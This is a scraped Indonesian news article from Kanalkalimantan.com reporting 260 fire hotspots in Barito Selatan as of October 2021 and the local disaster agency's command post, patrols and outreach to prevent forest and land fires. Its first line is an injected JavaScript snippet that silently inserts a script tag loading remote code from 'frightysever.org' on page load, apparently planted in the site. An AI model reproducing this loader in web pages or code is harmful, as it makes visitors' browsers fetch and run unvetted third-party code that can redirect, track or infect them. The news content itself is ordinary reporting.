(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BARSEL

Terpantau 260 Titik Api, BPBD Barsel Dirikan Pos Komando Cegah Karhutla

KANALKALIMANTAN.COM, BUNTOK– Hingga Oktober 2021, terpantau sebanyak 260 hotspot atau titik api di wilayah Kabupaten Barito Selatan (Barsel).

Kepala Pelaksana (Kalak) Badan Penanggulangan Bencana Daerah (BPBD) Barsel, Alip Suraya melalui Kasi Pencegahan dan Kesiapsiagaan, Asriwati menjelaskan, berbagai strategi sudah dilaksanakan guna menanggulangi terjadinya kebakaran hutan dan lahan (Karhutla).

Di antaranya membentuk pos komando siaga darurat bencana Karhutla yang beranggotakan BPBD, anggota pemadaman kebakaran, TNI serta Polri wilayah setempat.

“Sebelumnya pun Bupati Barsel menetapkan status siaga darurat bencana Karhutla selama 90 hari, dari tanggal 6 Mei hingga 4 Agustus lalu,” ujar Asri sapaan akrabnya kepada Kanalkalimanta.com, di Buntok, Senin (25/10/2021).

Ia mengatakan, eberadaan pos komando tersebut berfungsi untuk memberikan informasi mengenai titik panas yang terekam oleh satelit. Kemudian juga mengumpulkan data informasi daerah rawan karhutla selanjutnya menyusun strategi siaga darurat.

“Selain patroli, tim posko juga memberikan sosialisasi kepada masyarakat yang akan membuka lahan, serta melakukan pemadaman awal Karhutla sebelum api membesar,” ujar Asri.

Selama pos komando siaga darurat bencana Karhutla berdiri, diakui Asri belum ada lagi kejadian Karhutla terutama di wilayah Kecamatan Dusun Selatan (Dusel), yang memang terbilang sering terjadi kebakaran.

“Kita juga rutin lakukan patroli hampir setiap hari, khususnya di lokasi-lokasi yang berpotensi terjadinya Karhutla untuk pencegahan,” pungkas Asri. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : cell